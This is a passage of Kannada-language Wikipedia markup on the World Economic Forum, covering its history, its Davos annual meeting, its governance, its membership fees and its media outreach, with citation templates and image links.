ಸಾಂಸ್ಥಿಕ ಯಶಸ್ಸು ಆಧರಿಸಿರುವ "ಹೂಡಿಕೆದಾರ" ವ್ಯವಸ್ಥಾಪನಾ ವಿಧಾನವನ್ನು ಷ್ವಾಬ್‌ ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ: ಷೇರುದಾರರು, ಗಿರಾಕಿಗಳು ಮತ್ತು ಗ್ರಾಹಕರು ಮಾತ್ರವೇ ಅಲ್ಲದೆ, ಸರ್ಕಾರಗಳನ್ನೂ ಒಳಗೊಂಡಂತೆ, ಸಂಸ್ಥೆಯು ನೆಲೆಗೊಂಡಿರುವ ಸಮುದಾಯಗಳು ಹಾಗೂ ಸಂಸ್ಥೆಯ ಉದ್ಯೋಗಿಗಳನ್ನೂ ಪರಿಗಣನೆಗೆ ತೆಗೆದುಕೊಳ್ಳುವುದು ಈ ವ್ಯವಸ್ಥಾಪನಾ ವಿಧಾನದ ಪರಿಕಲ್ಪನೆಯಾಗಿತ್ತು.<ref>ಷ್ವಾಬ್‌ ಮತ್ತು ಕ್ರೂಸ್‌</ref> ಬ್ರೆಟನ್‌ ವುಡ್ಸ್‌‌ನ ನಿಶ್ಚಿತ ವಿನಿಮಯದರದ ಕಾರ್ಯವಿಧಾನದ ಕುಸಿತ ಹಾಗೂ ಅರಬ್‌-ಇಸ್ರೇಲಿನ ಯುದ್ಧವನ್ನು ಒಳಗೊಂಡಂತೆ, 1973ರಲ್ಲಿ ನಡೆದ ಘಟನೆಗಳಿಂದಾಗಿ ವಾರ್ಷಿಕ ಸಭೆಯು ತನ್ನ ಗಮನವನ್ನು ವ್ಯವಸ್ಥಾಪನಾ ವಿಷಯದಿಂದ ಆರ್ಥಿಕ ಮತ್ತು ಸಾಮಾಜಿಕ ಸಮಸ್ಯೆಗಳವರೆಗೆ ವಿಸ್ತರಿಸಬೇಕಾಗಿ ಬಂತು; ಮತ್ತು 1974ರ ಜನವರಿಯಲ್ಲಿ ರಾಜಕೀಯ ನಾಯಕರು ಮೊದಲ ಬಾರಿಗೆ ದಾವೋಸ್‌ಗೆ ಆಹ್ವಾನಿಸಲ್ಪಟ್ಟರು.<ref>[http://www.ft.com/cms/s/0/0304411c-c5e8-11dc-8378-0000779fd2ac,dwp_uuid=01b19234-b4b2-11dc-990a-0000779fd2ac.html?nclick_check=1 "ಇಂಟರ್‌‌ವ್ಯೂ: ಕ್ಲೌಸ್‌ ಷ್ವಾಬ್‌"], ''ಫೈನಾನ್ಷಿಯಲ್‌ ಟೈಮ್ಸ್‌‌'' , 22 ಜನವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು</ref> [[File:Frederik de Klerk with Nelson Mandela - World Economic Forum Annual Meeting Davos 1992.jpg|thumb|1992ರ ಜನವರಿಯಲ್ಲಿ, ದಾವೋಸ್‌ನಲ್ಲಿ ಆಯೋಜಿಸಲ್ಪಟ್ಟಿದ್ದ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಫ್ರೆಡೆರಿಕ್‌ ಡಿ ಕ್ಲರ್ಕ್‌ ಮತ್ತು ನೆಲ್ಸನ್‌‌ ಮಂಡೇಲಾ ಪರಸ್ಪರ ಕೈಕುಲುಕುತ್ತಿರುವುದು.]] [[File:Taro Aso in World Economic Forum Annual Meeting in Davos.jpg|thumb|2009ರ ಜನವರಿಯಲ್ಲಿನ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯಲ್ಲಿ ಜಪಾನೀ ಪ್ರಧಾನಮಂತ್ರಿ ಟಾರೋ ಅಸೋ]][[File:Klaus Schwab WEF 2008.jpg|thumb|ಕ್ಲೌಸ್‌ ಷ್ವಾಬ್‌, ಸಂಸ್ಥಾಪಕ ಮತ್ತು ಕಾರ್ಯಕಾರಿ ಸಭಾಪತಿ, ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ.]] ವರ್ಷಗಳು ಉರುಳುತ್ತಾ ಹೋದಂತೆ, ದಾವೋಸ್‌ನ್ನು ತಮ್ಮ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳನ್ನು ಪರಿಹರಿಸುವುದಕ್ಕಾಗಿರುವ ಒಂದು ತಟಸ್ಥ ವೇದಿಕೆಯಾಗಿ ರಾಜಕೀಯ ನಾಯಕರು ಬಳಸಲು ಶುರುಮಾಡಿದರು. [[ಗ್ರೀಸ್|ಗ್ರೀಸ್‌]] ಮತ್ತು [[ಟರ್ಕಿ]] ದೇಶಗಳು 1988ರಲ್ಲಿ ದಾವೋಸ್‌ ಘೋಷಣೆಗೆ (ದಾವೋಸ್‌ ಡಿಕ್ಲರೇಷನ್‌) ಸಹಿಹಾಕಿದವು; ಯುದ್ಧದ ಅಂಚಿನಿಂದ ಹಿಮ್ಮೆಟ್ಟುವಲ್ಲಿ ಇದು ಅವರಿಗೆ ನೆರವಾಯಿತು. 1992ರಲ್ಲಿ ನಡೆದ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ, [[ನೆಲ್ಸನ್ ಮಂಡೇಲಾ|ನೆಲ್ಸನ್‌‌ ಮಂಡೇಲಾ]] ಮತ್ತು ಮುಖ್ಯಸ್ಥ ಮಂಗೊಸುಥು ಬುಥೆಲೆಜಿ ಈ ಇಬ್ಬರನ್ನು ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಅಧ್ಯಕ್ಷ F. W. ಡಿ ಕ್ಲರ್ಕ್‌ ಭೇಟಿಯಾದ; ಇದು ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಹೊರಗಿನ ಅವರ ಮೊದಲ ಜಂಟಿ ಕಾಣಿಸುವಿಕೆಯಾಗಿತ್ತು. 1994ರ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ, ಇಸ್ರೇಲಿನ ವಿದೇಶಾಂಗ ಸಚಿವ ಷಿಮೋನ್‌ ಪೆರೆಸ್‌ ಮತ್ತು PLO ಸಭಾಪತಿ [[ಯಾಸಿರ್ ಅರಾಫತ್|ಯಾಸರ್‌‌ ಅರಾಫತ್‌‌]] ಇಬ್ಬರೂ ಗಾಜಾ ಮತ್ತು ಜೆರಿಕೊ ಕುರಿತಾದ ಒಂದು ಕರಡು ಒಪ್ಪಂದಕ್ಕೆ ಮುಂದಾದರು.<ref>[http://www.telegraph.co.uk/money/main.jhtml?xml=/money/exclusions/hubpages/davos2008/davoshistory.xml "WEF ಅಂಡ್‌ ದಾವೋಸ್‌: ಎ ಬ್ರೀಫ್‌ ಹಿಸ್ಟರಿ"] {{Webarchive|url=https://web.archive.org/web/20080403191551/http://www.telegraph.co.uk/money/main.jhtml?xml=%2Fmoney%2Fexclusions%2Fhubpages%2Fdavos2008%2Fdavoshistory.xml |date=2008-04-03 }}, ''ಟೆಲಿಗ್ರಾಫ್‌'' , 16 ಜನವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> 2008ರಲ್ಲಿ, ಉತ್ಪಾದಕ ಬಂಡವಾಳ ನೀತಿಯ ಕುರಿತಾಗಿ ಬಿಲ್‌ ಗೇಟ್ಸ್‌ ಒಂದು ವಿಷಯ ಮಂಡನಾತ್ಮಕ ಉಪನ್ಯಾಸವನ್ನು ನೀಡಿದ. ಉತ್ಪಾದಕ ಬಂಡವಾಳ ನೀತಿ ಎಂಬುದು ಬಂಡವಾಳ ನೀತಿಯ ಒಂದು ಸ್ವರೂಪವಾಗಿದ್ದು, ಇದು ಲಾಭಗಳನ್ನು ಹುಟ್ಟುಹಾಕುವುದರ ಜೊತೆಗೆ ಪ್ರಪಂಚದಲ್ಲಿ ಕಂಡುಬರುವ ಅನ್ಯಾಯಗಳು ಅಥವಾ ಪಕ್ಷಪಾತಗಳನ್ನೂ ಪರಿಹರಿಸುತ್ತದೆ; ಇದನ್ನು ನೆರವೇರಿಸುವುದಕ್ಕಾಗಿ, ಬಡವರ ಅಗತ್ಯಗಳಿಗೆ ಉತ್ತಮ ರೀತಿಯಲ್ಲಿ ಗಮನ ಹರಿಸಲು ಅದು ಮಾರುಕಟ್ಟೆಯ ಬಲಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತದೆ.<ref>[http://www.ft.com/cms/s/0/824dba1e-cadb-11dc-a960-000077b07658.html?nclick_check=1 "ಗೇಟ್ಸ್‌ ಪುಷಸ್‌ ‘ಕ್ರಿಯೇಟಿವ್‌ ಕ್ಯಾಪಿಟಲಿಸಂ’"], ''ಫೈನಾನ್ಷಿಯಲ್‌ ಟೈಮ್ಸ್‌‌'' , 25 ಜನವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref><ref>{{cite web|url=http://www.reuters.com/news/video?videoId=75032&videoChannel=5 |title='&#39;Gates calls for creative capitalism, Reuters (video)'&#39; |publisher=Reuters.com |date=2009-02-09 |accessdate=2010-03-07}}</ref> ==ಸಂಘಟನೆ== ಸ್ವಿಜರ್‌ಲೆಂಡ್‌ನ ಜಿನಿವಾದ ಕಲೋನಿ ಎಂಬಲ್ಲಿ WEF ತನ್ನ ಕೇಂದ್ರಕಾರ್ಯಾಲಯವನ್ನು ಹೊಂದಿದೆ. 2006ರಲ್ಲಿ, ಚೀನಾದ [[ಬೀಜಿಂಗ್|ಬೀಜಿಂಗ್‌‌‌‌‌]]ನಲ್ಲಿ, ಹಾಗೂ [[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ|ನ್ಯೂಯಾರ್ಕ್‌ ನಗರ]]ದಲ್ಲಿ ಇದು ಪ್ರಾದೇಶಿಕ ಕಚೇರಿಗಳನ್ನು ತೆರೆಯಿತು. ಸದಾ ನಿಷ್ಪಕ್ಷಪಾತಿಯಾಗಿರಲು ಹೆಣಗಾಡುವ ಈ ಸಂಘಟನೆಯು ಯಾವುದೇ ರಾಜಕೀಯ, ಪಕ್ಷಾವಲಂಬಿ ಅಥವಾ ರಾಷ್ಟ್ರೀಯ ಹಿತಾಸಕ್ತಿಗಳಿಗೆ ಅಂಟಿಕೊಂಡಿಲ್ಲ. "ಪ್ರಪಂಚದ ಸ್ಥಿತಿಗತಿಯನ್ನು ಸುಧಾರಿಸುವೆಡೆಗೆ ಸಂಘಟನೆಯು ಬದ್ಧತೆಯನ್ನು ಹೊಂದಿದೆ"<ref>ಪಿಗ್‌ಮನ್‌ ಪುಟಗಳು 58-59</ref>, ಮತ್ತು ವಿಶ್ವಸಂಸ್ಥೆಯ ಆರ್ಥಿಕ ಮತ್ತು ಸಾಮಾಜಿಕ ಮಂಡಳಿಯೊಂದಿಗೆ ವೀಕ್ಷಕ ಸ್ಥಾನಮಾನವನ್ನು ಹೊಂದಿದೆ. ಸಂಘಟನೆಯ ಮೇಲ್ವಿಚಾರಣೆಯನ್ನು ಸ್ವಿಸ್‌ ಒಕ್ಕೂಟದ ಸರ್ಕಾರವು ನೋಡಿಕೊಳ್ಳುತ್ತದೆ. ಪ್ರತಿಷ್ಠಾನ ಮಂಡಳಿಯು ಇದರ ಅತ್ಯುನ್ನತ ಆಡಳಿತ ಘಟಕವಾಗಿದ್ದು, 22 ಸದಸ್ಯರನ್ನು ಅದು ಒಳಗೊಂಡಿದೆ; ಹಿಂದಿನ [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಬ್ರಿಟಿಷ್‌]] ಪ್ರಧಾನಮಂತ್ರಿ ಟೋನಿ ಬ್ಲೇರ್‌‌ ಮತ್ತು ಜೋರ್ಡಾನ್‌‌ನ ರಾಣಿ ರಾನಿಯಾ ಈ ಸದಸ್ಯರಲ್ಲಿ ಸೇರಿದ್ದಾರೆ. 2009ರಲ್ಲಿ ನಡೆದ ಐದು-ದಿನಗಳ ವಾರ್ಷಿಕ ಸಭೆಯ ಅವಧಿಯಲ್ಲಿ, 91 ದೇಶಗಳಿಗೆ ಸೇರಿದ 2,500ಕ್ಕೂ ಹೆಚ್ಚಿನ ಸಹಭಾಗಿಗಳು ದಾವೋಸ್‌‌ನಲ್ಲಿ ಜಮಾವಣೆಗೊಂಡಿದ್ದರು. ಅವರ ಪೈಕಿ ಸುಮಾರು 75%ನಷ್ಟು (1,170) ಮಂದಿ ವ್ಯವಹಾರ ವಲಯದ ನಾಯಕರಾಗಿದ್ದು, ವಿಶ್ವದ ಅಗ್ರಗಣ್ಯ ಕಂಪನಿಗಳ ಪೈಕಿ ಸಂಘಟನೆಯಲ್ಲಿ ಸದಸ್ಯತ್ವ ಪಡೆದಿದ್ದ 1,000 ಕಂಪನಿಗಳಿಗೆ ಸೇರಿದ್ದ ಸದಸ್ಯರ ವಲಯದಿಂದ ಅವರು ಪ್ರಧಾನವಾಗಿ ಬಂದವರಾಗಿದ್ದರು. ಇವರೆಲ್ಲರ ಜೊತೆಗೆ, ಸಾರ್ವಜನಿಕ ವಲಯದಲ್ಲಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದ 219 ವ್ಯಕ್ತಿಗಳೂ ಸಹ ಸಹಭಾಗಿಗಳಲ್ಲಿ ಸೇರಿದ್ದರು; ಸಂಸ್ಥಾನ ಅಥವಾ ಸರ್ಕಾರದ 40 ಮುಖ್ಯಸ್ಥರು, 64 ಸಂಪುಟ ಸಚಿವರು, ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಂಘಟನೆಗಳ 30 ಮುಖ್ಯಸ್ಥರು ಅಥವಾ ಹಿರಿಯ ಅಧಿಕಾರಿಗಳು ಹಾಗೂ 10 ರಾಯಭಾರಿಗಳೂ ಈ ಸಹಭಾಗಿಗಳಲ್ಲಿ ಸೇರಿದ್ದರು. 432ಕ್ಕೂ ಹೆಚ್ಚಿನ ಸಹಭಾಗಿಗಳು ನಾಗರಿಕ ಸಮಾಜದಿಂದ ಬಂದವರಾಗಿದ್ದರು; ಸರ್ಕಾರೇತರ ಸಂಘಟನೆಗಳಿಗೆ ಸೇರಿದ 32 ಮುಖ್ಯಸ್ಥರು ಅಥವಾ ಪ್ರತಿನಿಧಿಗಳು, ಮಾಧ್ಯಮ-ವಲಯದ 225 ನಾಯಕರು, ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳು ಮತ್ತು ಚಿಂತಕರ ಚಾವಡಿಗಳಿಗೆ ಸೇರಿದ್ದ 149 ನಾಯಕರು, ವಿಭಿನ್ನ ಧಾರ್ಮಿಕ ನಂಬಿಕೆಗಳಿಗೆ ಸೇರಿದ್ದ 15 ಧಾರ್ಮಿಕ ನಾಯಕರು ಹಾಗೂ 11 ಒಕ್ಕೂಟ ನಾಯಕರು ಈ ಸಹಭಾಗಿಗಳಲ್ಲಿ ಸೇರಿದ್ದರು.<ref>{{cite web |url=http://www.weforum.org/en/events/AnnualMeeting2009/ |title=World Economic Forum — Annual Meeting 2009 |publisher=Weforum.org |date=2009-02-01 |accessdate=2010-03-07 |archive-date=2012-09-17 |archive-url=https://archive.is/20120917144503/http://www.weforum.org/en/events/AnnualMeeting2009/ |url-status=dead }}</ref> ===ಸದಸ್ಯತ್ವ=== WEF ಸಂಘಟನೆಗೆ ಅದರ 1000 ಸದಸ್ಯ ಕಂಪನಿಗಳು ಧನಸಹಾಯ ಮಾಡಿದ್ದವು. ಅವುಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದ ಜಾಗತಿಕ ಉದ್ಯಮವೊಂದು ವಿಶಿಷ್ಟ ಕಂಪನಿ ಎನಿಸಿಕೊಂಡಿದ್ದು, ಐದು ಶತಕೋಟಿ ಡಾಲರುಗಳಿಗೂ ಹೆಚ್ಚಿನ ವಹಿವಾಟನ್ನು ಅದು ಹೊಂದಿತ್ತು; ಆದರೂ ಸಹ, ಇಂಥ ಸದಸ್ಯ ಕಂಪನಿಯು ತಾನು ಮಾಡುತ್ತಿರುವ ಕೈಗಾರಿಕೆ ಮತ್ತು ಹಾಗೂ ನೆಲೆಗೊಂಡಿರುವ ಪ್ರದೇಶದ ಅನುಸಾರ ಬದಲಾಗುತ್ತ ಹೋಗುತ್ತದೆ ಎಂಬುದು ಗಮನಾರ್ಹ. ಇದರ ಜೊತೆಗೆ, ಈ ಉದ್ಯಮಗಳು ತಮ್ಮ ಕೈಗಾರಿಕಾ ವಲಯದಲ್ಲಿನ ಮತ್ತು/ಅಥವಾ ದೇಶದ ವ್ಯಾಪ್ತಿಯೊಳಗಿನ ಅಗ್ರಗಣ್ಯ ಕಂಪನಿಗಳ ಪೈಕಿ ಸ್ಥಾನವನ್ನು ಪಡೆದಿರುತ್ತವೆ ಮತ್ತು ತಮ್ಮ ಕೈಗಾರಿಕೆ ಮತ್ತು/ಅಥವಾ ಪ್ರದೇಶದ ಭವಿಷ್ಯಕ್ಕೆ ಆಕಾರನೀಡುವಲ್ಲಿ ಒಂದು ಅಗ್ರಗಣ್ಯ ಪಾತ್ರವನ್ನು ವಹಿಸುತ್ತವೆ. 2005ರ ವೇಳೆಗೆ ಇದ್ದಂತೆ, ಪ್ರತಿ ಸದಸ್ಯ ಕಂಪನಿಯೂ CHF 42,500ನಷ್ಟಿರುವ ವಾರ್ಷಿಕ ಸದಸ್ಯತ್ವದ ಒಂದು ಮೂಲಶುಲ್ಕವನ್ನು ಹಾಗೂ CHF 18,000ನಷ್ಟಿರುವ ವಾರ್ಷಿಕ ಸಭೆಯ ಶುಲ್ಕವನ್ನು ಪಾವತಿಸುತ್ತದೆ; ದಾವೋಸ್‌ನಲ್ಲಿ ನಡೆಯುವ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಸದರಿ ಸದಸ್ಯ ಕಂಪನಿಯ CEOನ ಪಾಲ್ಗೊಳ್ಳುವಿಕೆಯನ್ನು ಈ ಶುಲ್ಕವು ಒಳಗೊಂಡಿರುತ್ತದೆ. ಕೈಗಾರಿಕಾ ಪಾಲುದಾರರು ಮತ್ತು ಕಾರ್ಯತಂತ್ರದ ಪಾಲುದಾರರು ಕ್ರಮವಾಗಿ CHF 250,000 ಮತ್ತು CHF 500,000ನಷ್ಟು ಶುಲ್ಕವನ್ನು ಪಾವತಿಸುತ್ತಾರೆ; ವೇದಿಕೆಯ ಉಪಕ್ರಮಗಳಲ್ಲಿ ಒಂದು ಮಹತ್ತರವಾದ ಪಾತ್ರವನ್ನು ವಹಿಸಲು ಇದು ಅವರಿಗೆ ಅವಕಾಶ ನೀಡುತ್ತದೆ.<ref>ಪಿಗ್‌ಮನ್‌ ಪುಟಗಳು 23-30</ref><ref>ರೋಥ್‌ಕೋಫ್‌ ಪುಟ 272</ref> ಇದರ ಜೊತೆಗೆ, ಈ ಉದ್ಯಮಗಳು ತಮ್ಮ ಕೈಗಾರಿಕಾ ವಲಯ ಮತ್ತು/ಅಥವಾ ದೇಶದ ವ್ಯಾಪ್ತಿಯೊಳಗಿನ ಅಗ್ರಗಣ್ಯ ಕಂಪನಿಗಳ ಪೈಕಿ ಸ್ಥಾನವನ್ನು ಪಡೆಯುತ್ತವೆ (ದಶಲಕ್ಷಗಟ್ಟಲೆ US ಡಾಲರುಗಳಲ್ಲಿರುವ ವಹಿವಾಟನ್ನು ಇದು ಸಾಮಾನ್ಯವಾಗಿ ಆಧರಿಸಿರುತ್ತದೆ; ಹಣಕಾಸಿನ ಸಂಸ್ಥೆಗಳಿಗೆ ಸಂಬಂಧಿಸಿ ಹೇಳುವುದಾದರೆ, ಸ್ವತ್ತುಗಳ ಮೇಲೆ ಮಾನದಂಡಗಳು ಆಧರಿಸಿರುತ್ತವೆ) ಮತ್ತು ವೇದಿಕೆಯ ಆಯ್ಕೆ ಸಮಿತಿಯಿಂದ ತೀರ್ಮಾನಿಸಲ್ಪಟ್ಟಂತೆ, ತಮ್ಮ ಕೈಗಾರಿಕೆ ಮತ್ತು/ಅಥವಾ ಪ್ರದೇಶದ ಭವಿಷ್ಯಕ್ಕೆ ಆಕಾರನೀಡುವಲ್ಲಿ ಒಂದು ಅಗ್ರಗಣ್ಯ ಪಾತ್ರವನ್ನು ಅವು ವಹಿಸುತ್ತವೆ. ಒಂದು ವ್ಯಾಪಕ ಶ್ರೇಣಿಯಲ್ಲಿರುವ ವ್ಯವಹಾರ ವಲಯಗಳಿಂದ ಕೈಗಾರಿಕಾ ಪಾಲುದಾರರು ಬರುತ್ತಾರೆ. ನಿರ್ಮಾಣ, ವಾಯುಯಾನ, ತಂತ್ರಜ್ಞಾನ, ಪ್ರವಾಸೋದ್ಯಮ, ಆಹಾರ ಮತ್ತು ಪಾನೀಯ, ಎಂಜಿನಿಯರಿಂಗ್‌, ಮತ್ತು ಹಣಕಾಸಿನ ಸೇವೆಗಳು ಈ ವಲಯಗಳಲ್ಲಿ ಸೇರಿರುತ್ತವೆ. ತಮ್ಮ ಉದ್ದೇಶಿತ ಕೈಗಾರಿಕಾ ವಲಯಕ್ಕೆ ಬಹುಪಾಲು ತೊಂದರೆಯುಂಟುಮಾಡುವ ಜಾಗತಿಕ ಸಮಸ್ಯೆಗಳ ಕುರಿತಾಗಿ ಈ ಕಂಪನಿಗಳು ಜಾಗರೂಕವಾಗಿರುತ್ತವೆ. ==ಚಟುವಟಿಕೆಗಳು== ===ದಾವೋಸ್‌ನಲ್ಲಿನ ವಾರ್ಷಿಕ ಸಭೆ=== [[File:Gordon Brown, Queen Rania - WEF Annual Meeting Davos 2008.jpg|thumb|ಯುನೈಟೆಡ್‌ ಕಿಂಗಡಂನ ಅಂದಿನ ಪ್ರಧಾನಮಂತ್ರಿ ಗೋರ್ಡಾನ್‌ ಬ್ರೌನ್‌, ಮತ್ತು ಜೋರ್ಡಾನ್‌ನ ರಾಣಿ ರಾನಿಯಾ]] [[File:World Economic Forum Annual Meeting Davos 2007.jpg|thumb|left|2007ರ ಜನವರಿ 25ರಂದು ಸ್ವಿಜರ್‌ಲೆಂಡ್‌ನ ದಾವೋಸ್‌ನಲ್ಲಿ ನಡೆದ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯ 2007ರ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ, 'ರೂಲ್ಸ್‌ ಫಾರ್‌ ಎ ಗ್ಲೋಬಲ್‌ ನೈಬರ್‌ಹುಡ್‌ ಇನ್‌ ಎ ಮಲ್ಟಿಕಲ್ಚರಲ್‌ ವರ್ಲ್ಡ್‌' ಎಂಬ ಶೀರ್ಷಿಕೆಯ ಕಾರ್ಯಕ್ಷೇತ್ರದ ಅಧಿವೇಶನದ ಸಂದರ್ಭದಲ್ಲಿ ಸೆರೆಹಿಡಿಯಲಾದ, ಇರಾನ್‌ ಅಧ್ಯಕ್ಷ ಮೊಹಮ್ಮದ್‌ ಖಟಾಮಿಯ (1997-2005) ಚಿತ್ರ.]] ದಾವೋಸ್‌ನ<ref>[http://news.bbc.co.uk/2/hi/business/7201300.stm "ಎ ಬಿಗಿನರ್ಸ್‌' ಗೈಡ್‌ ಟು ದಾವೋಸ್‌"], BBC ಆನ್‌ಲೈನ್‌‌, 16 ಜನವರಿ 2009, 2009ರ ಜನವರಿ 16ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ಸ್ವಿಸ್‌ ಆಲ್ಪೈನ್‌‌ ವಿಹಾರಧಾಮದಲ್ಲಿ ಪ್ರತಿ ವರ್ಷದ ಜನವರಿ ತಿಂಗಳ ಅಂತ್ಯದಲ್ಲಿ ಆಯೋಜಿಸಲ್ಪಡುವ, ಆಹ್ವಾನವಿದ್ದವರಿಗೆ-ಮಾತ್ರವೇ ಪ್ರವೇಶವಿರುವ ವಾರ್ಷಿಕ ಸಭೆಯು WEFನ ಪ್ರಧಾನ ಕಾರ್ಯಕ್ರಮವಾಗಿದೆ. ತನ್ನ 1000 ಸದಸ್ಯ ಕಂಪನಿಗಳಿಗೆ ಸೇರಿದ CEOಗಳನ್ನು ಮಾತ್ರವೇ ಅಲ್ಲದೇ, ಆಯ್ದ ರಾಜಕಾರಣಿಗಳನ್ನು, ವಿದ್ವನ್ಮಂಡಲಗಳು, NGOಗಳು, ಧಾರ್ಮಿಕ ನಾಯಕರು ಮತ್ತು ಮಾಧ್ಯಮಗಳಿಗೆ ಸೇರಿದ ಪ್ರತಿನಿಧಿಗಳನ್ನು ಒಟ್ಟಾಗಿ ಸೇರಿಸುವ ಕೆಲಸವನ್ನು ಈ ಕಾರ್ಯಕ್ರಮವು ಮಾಡುತ್ತದೆ.<ref>[http://news.bbc.co.uk/2/hi/business/7830834.stm ''Q&amp;A: ವರ್ಲ್ಡ್‌ ಇಕನಾಮಿಕ್‌ ಫೋರಂ 2009'' ], BBC ಆನ್‌ಲೈನ್‌‌, 16 ಜನವರಿ 2009, 2009ರ ಜನವರಿ 16ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ಐದು-ದಿನದ ಕಾರ್ಯಕ್ರಮಕ್ಕಾಗಿ ಸುಮಾರು 2200 ಸಹಭಾಗಿಗಳು ಜಮಾವಣೆಯಾಗುತ್ತಾರೆ ಮತ್ತು ಅಧಿಕೃತ ಕಾರ್ಯಸೂಚಿಯಲ್ಲಿರುವ ಸುಮಾರು 220 ವಿಚಾರ ಸಂಕಿರಣಗಳಿಗೆ ಹಾಜರಾಗುತ್ತಾರೆ. ಜಾಗತಿಕ ಕಾಳಜಿಯ ಪ್ರಮುಖ ಸಮಸ್ಯೆಗಳು (ಅಂತರರಾಷ್ಟ್ರೀಯ ಘರ್ಷಣೆಗಳು, ಬಡತನ ಮತ್ತು ಪರಿಸರೀಯ ಸಮಸ್ಯೆಗಳಂಥವು) ಮತ್ತು ಸಂಭವನೀಯ ಪರಿಹಾರೋಪಾಯಗಳ ಸುತ್ತಲೂ ಚರ್ಚೆಗಳು ಗಮನಹರಿಸುತ್ತವೆ.<ref name="Pigman p41-42" /> ಒಟ್ಟಾರೆಯಾಗಿ ಹೇಳುವುದಾದರೆ, ಆನ್‌ಲೈನ್‌‌, ಮುದ್ರಣ ಮಾಧ್ಯಮ, [[ರೇಡಿಯೋ]] ಮತ್ತು TV ಮಾಧ್ಯಮಗಳಿಗೆ ಸೇರಿದ ಸುಮಾರು 500 ಪತ್ರಕರ್ತರು ಇಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುತ್ತಾರೆ ಹಾಗೂ ಅಧಿಕೃತ ಕಾರ್ಯಸೂಚಿಯಲ್ಲಿರುವ ಎಲ್ಲಾ ವಿಚಾರ ಸಂಕಿರಣಗಳಿಗೆ ಅವರಿಗೆ ಪ್ರವೇಶಾವಕಾಶವನ್ನು ಒದಗಿಸಲಾಗುತ್ತದೆ; ಅಧಿಕೃತ ಕಾರ್ಯಸೂಚಿಯ ಪೈಕಿಯ ಕೆಲವೊಂದನ್ನು ಅಂತರ್ಜಾಲದಲ್ಲಿಯೂ ಪ್ರಸಾರ ಮಾಡಲಾಗುತ್ತದೆ.<ref>{{cite web |url=http://www.weforum.org/en/events/ArchivedEvents/AnnualMeeting2008/ |title=Forum’s homepage |publisher=Weforum.org |date= |accessdate=2010-03-07 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ದಾವೋಸ್‌ನಲ್ಲಿ ನಡೆಯುವ ಎಲ್ಲಾ ಸರ್ವಸದಸ್ಯರ ಚರ್ಚೆಗಳು [[ಯೂಟ್ಯೂಬ್‌|ಯುಟ್ಯೂಬ್‌‌‌]]ನಲ್ಲೂ<ref>{{cite web|url=https://www.youtube.com/user/WorldEconomicForum |title=Kanaal van WorldEconomicForum |publisher=YouTube |date=2010-01-31 |accessdate=2010-03-07}}</ref> ಲಭ್ಯವಿರುತ್ತವೆ; ಸಂಬಂಧಿತ ಚಿತ್ರಗಳು ಫ್ಲಿಕರ್‌‌<ref>{{cite web|url=http://www.flickr.com/photos/worldeconomicforum |title=World Economic Forum's Photostream |publisher=Flickr |date= |accessdate=2010-03-07}}</ref> ತಾಣದಲ್ಲಿ ಉಚಿತವಾಗಿ ಲಭ್ಯವಿದ್ದರೆ, ಪ್ರಮುಖ ಉಲ್ಲೇಖಗಳು ಟ್ವಿಟ್ಟರ್‌‌ ತಾಣದಲ್ಲಿ ಲಭ್ಯವಿರುತ್ತವೆ.<ref>[http://twitter.com/worldeconomicforum ]{{dead link|date=March 2010}}</ref> 2007ರಲ್ಲಿ, [[ಮೈಸ್ಪೇಸ್‌|ಮೈಸ್ಪೇಸ್‌‌]]<ref>{{cite web|author=CH |url=http://www.myspace.com/worldeconomicforum |title=World Economic Forum (Davos World Economic forum) |publisher=MySpace |date= |accessdate=2010-03-07}}</ref> ಮತ್ತು [[ಫೇಸ್‌ಬುಕ್‌|ಫೇಸ್‌ಬುಕ್‌‌]]ನಂಥ ಸಾಮಾಜಿಕ ಮಾಧ್ಯಮಗಳ ವೇದಿಕೆಗಳಲ್ಲಿ WEF ಪುಟಗಳನ್ನು ತೆರೆಯಿತು.<ref>{{cite web|url=http://www.facebook.com/group.php?gid=2440681615 |title=World Economic Forum |publisher=Facebook |date= |accessdate=2010-03-07}}</ref> 2009ರ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ, ಯುಟ್ಯೂಬ್‌ನಲ್ಲಿನ <ref>[http://www.techcrunch.com/2008/12/15/youtube-wants-to-bring-you-to-the-world-economic-forum-in-davos/ "ಯುಟ್ಯೂಬ್‌ ವಾಂಟ್ಸ್‌ ಟು ಬ್ರಿಂಗ್‌ ಯು ಟು ದಿ ವರ್ಲ್ಡ್‌ ಇಕನಾಮಿಕ್‌ ಫೋರಂ ಇನ್‌ 